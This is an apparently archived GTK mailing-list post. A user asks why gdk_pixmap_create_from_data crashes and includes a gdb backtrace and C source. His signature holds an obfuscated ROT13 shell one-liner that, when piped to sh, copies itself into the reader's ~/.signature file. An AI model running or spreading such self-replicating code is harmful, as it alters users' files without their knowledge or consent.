gdk_pixmap_create_from_data



I think I may have discovered a bug in gdk_pixmap_create_from_data, or
else I am just using it wrong. I'm new to gtk and I read through the
tutorial, but it kinda glossed over this particular function. Nonetheless,
I wrote some fairly benign code to use it create a black pixmap and
display it. However, when I compile and run my program, it crashes with
this error:
** ERROR **: BadValue (integer parameter out of range for operation)
Aborted (core dumped)

running gdb on it produces some interesting info too:

Program received signal SIGABRT, Aborted.
0x40162131 in __kill ()
(gdb) backtrace
#0  0x40162131 in __kill ()
#1  0x40161f4f in raise (sig=6) at ../sysdeps/posix/raise.c:28
#2  0x4016316f in abort () at ../sysdeps/generic/abort.c:134
#3  0x400131eb in g_error () at gutils.c:618
#4  0x4001e09e in gdk_x_error (display=0x804d458, error=0xbffff270)
    at gdk.c:2273
#5  0x400bd810 in _XError ()
#6  0x400bc228 in _XReply ()
#7  0x400a9489 in XGetWindowAttributes ()
#8  0x40025d21 in gdk_window_get_colormap () at gdkwindow.c:279
#9  0x400686fa in gtk_style_attach () at gtkstyle.c:227
#10 0x4005653d in gtk_misc_realize (widget=0x80545d8) at gtkmisc.c:160
#11 0x400676b3 in gtk_signal_default_marshaller () at gtksignal.c:216
#12 0x40067a9b in gtk_signal_real_emit (object=0x80545d8, signal_type=6,
    args=0xbffff674) at gtksignal.c:877
#13 0x40066d73 in gtk_signal_emit () at gtksignal.c:216
#14 0x40079b98 in gtk_widget_realize () at gtkwidget.c:696
#15 0x4003894b in gtk_bin_add (container=0x8050ff0, widget=0x80545d8)
    at gtkbin.c:234
#16 0x4003f181 in gtk_container_marshal_signal_1 (object=0x8050ff0,
    func=0x40038894 <gtk_bin_add>, func_data=0x0, args=0xbffff6e8)
    at gtkcontainer.c:361
#17 0x40067a9b in gtk_signal_real_emit (object=0x8050ff0, signal_type=42,
    args=0xbffff8c4) at gtksignal.c:877
#18 0x40066d73 in gtk_signal_emit () at gtksignal.c:216
#19 0x4003ed7d in gtk_container_add () at gtkcontainer.c:211
#20 0x8048a16 in main (argc=1, argv=0xbffff910) at xacidwarp.c:63

I'll attach the code to this message in the hopes that someone will be
able to either explain to me what I'm doing wrong or if this is a bug in 
gtk.

Thanks,
Steve

#!/bin/sh -
set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \
shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\
echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh

======================== Code follows ===========================
/* ACID WARP (c)Copyright 1992, 1993 by Noah Spurrier
 * All Rights reserved. Private Proprietary Source Code by Noah Spurrier
 * Ported to Linux by Steven Wills
 */

#include <gtk/gtk.h> /* gtk includes */
#include <time.h> /* needed for RANDOMIZE */
#include <malloc.h> /* needed for alloca */
#include <string.h> /* needed for memset */
#include "warp_text.c" /* acidwarp includes */
#include "handy.h"
#include "xacidwarp.h"
#include "lut.h"
#include "bit_map.h"
#include "palinit.h"
#include "rolnfade.h"

#define NUM_IMAGE_FUNCTIONS 40
#define NOAHS_FACE   0

int main (int argc, char *argv[])
{
  gint x_size = 320, y_size = 200; /* we default to a 320x200 image */
  unsigned char *buf_graf;
  GtkWidget *main_window, *pixmapwid;
  static GdkPixmap *graphix = NULL; 
  GdkBitmap *mask;
  GtkStyle *style;

  /* this does a lot of handy things. */
  gtk_init (&argc, &argv);

  /* create a new window */
  main_window = gtk_window_new (GTK_WINDOW_TOPLEVEL);

  /* show the main window */
  gtk_widget_show (main_window); 

  /* set the title to what we were called 
     you can call me anything, but don't call me late for dinner. */
  gtk_window_set_title (GTK_WINDOW (main_window), argv[0]);

  /* exit when we are asked to. */
  gtk_signal_connect (GTK_OBJECT (main_window), "delete_event",
		      GTK_SIGNAL_FUNC (delete_event), NULL);

  /* allocate the memory to put our image into */
  buf_graf = malloc(x_size*y_size);
  
  /* clear the memory */
  memset(buf_graf, 0x00, (x_size*y_size));  
 
  /* get the style so we can pass it to other gtk functions */
  style = gtk_widget_get_style( main_window );
  
  /* create a pixmap of our graphix buffer. */
  graphix = gdk_pixmap_create_from_data(main_window->window, buf_graf, x_size, y_size, 8, &style->black, &style->white);    
  
  /* a pixmap widget to contain the pixmap */
  pixmapwid = gtk_pixmap_new( graphix, mask ); 
  
  /* add the widget to our window */
  gtk_container_add(GTK_CONTAINER(main_window), pixmapwid);
  
  /* show the pixmap widget */
  gtk_widget_show( pixmapwid );

  gtk_main ();
  
  return 0;
}

/* ------------------------END MAIN----------------------------------------- */

void delete_event (GtkWidget *widget, gpointer *data)
{
  gtk_main_quit ();
  printf ("%s\n", VERSION);
}



[Date Prev][Date Next]   [Thread Prev][Thread Next]   [Thread Index] [Date Index] [Author Index]